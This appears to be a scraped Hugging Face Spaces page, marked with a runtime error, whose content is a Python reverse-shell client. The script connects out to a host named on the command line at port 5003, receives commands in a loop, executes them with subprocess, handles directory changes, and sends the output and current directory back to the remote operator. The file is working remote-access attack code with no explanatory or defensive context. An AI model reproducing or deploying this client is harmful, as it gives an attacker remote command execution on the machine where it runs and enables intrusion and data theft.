Spaces:
Runtime error
Runtime error
| import socket | |
| import os | |
| import subprocess | |
| import sys | |
| SERVER_HOST = sys.argv[1] | |
| SERVER_PORT = 5003 | |
| BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase | |
| # separator string for sending 2 messages in one go | |
| SEPARATOR = "<sep>" | |
| # create the socket object | |
| s = socket.socket() | |
| # connect to the server | |
| s.connect((SERVER_HOST, SERVER_PORT)) | |
| # get the current directory | |
| cwd = os.getcwd() | |
| s.send(cwd.encode()) | |
| while True: | |
| # receive the command from the server | |
| command = s.recv(BUFFER_SIZE).decode() | |
| splited_command = command.split() | |
| if command.lower() == "exit": | |
| # if the command is exit, just break out of the loop | |
| break | |
| if splited_command[0].lower() == "cd": | |
| # cd command, change directory | |
| try: | |
| os.chdir(' '.join(splited_command[1:])) | |
| except FileNotFoundError as e: | |
| # if there is an error, set as the output | |
| output = str(e) | |
| else: | |
| # if operation is successful, empty message | |
| output = "" | |
| else: | |
| # execute the command and retrieve the results | |
| output = subprocess.getoutput(command) | |
| # get the current working directory as output | |
| cwd = os.getcwd() | |
| # send the results back to the server | |
| message = f"{output}{SEPARATOR}{cwd}" | |
| s.send(message.encode()) | |
| # close client connection | |
| s.close() |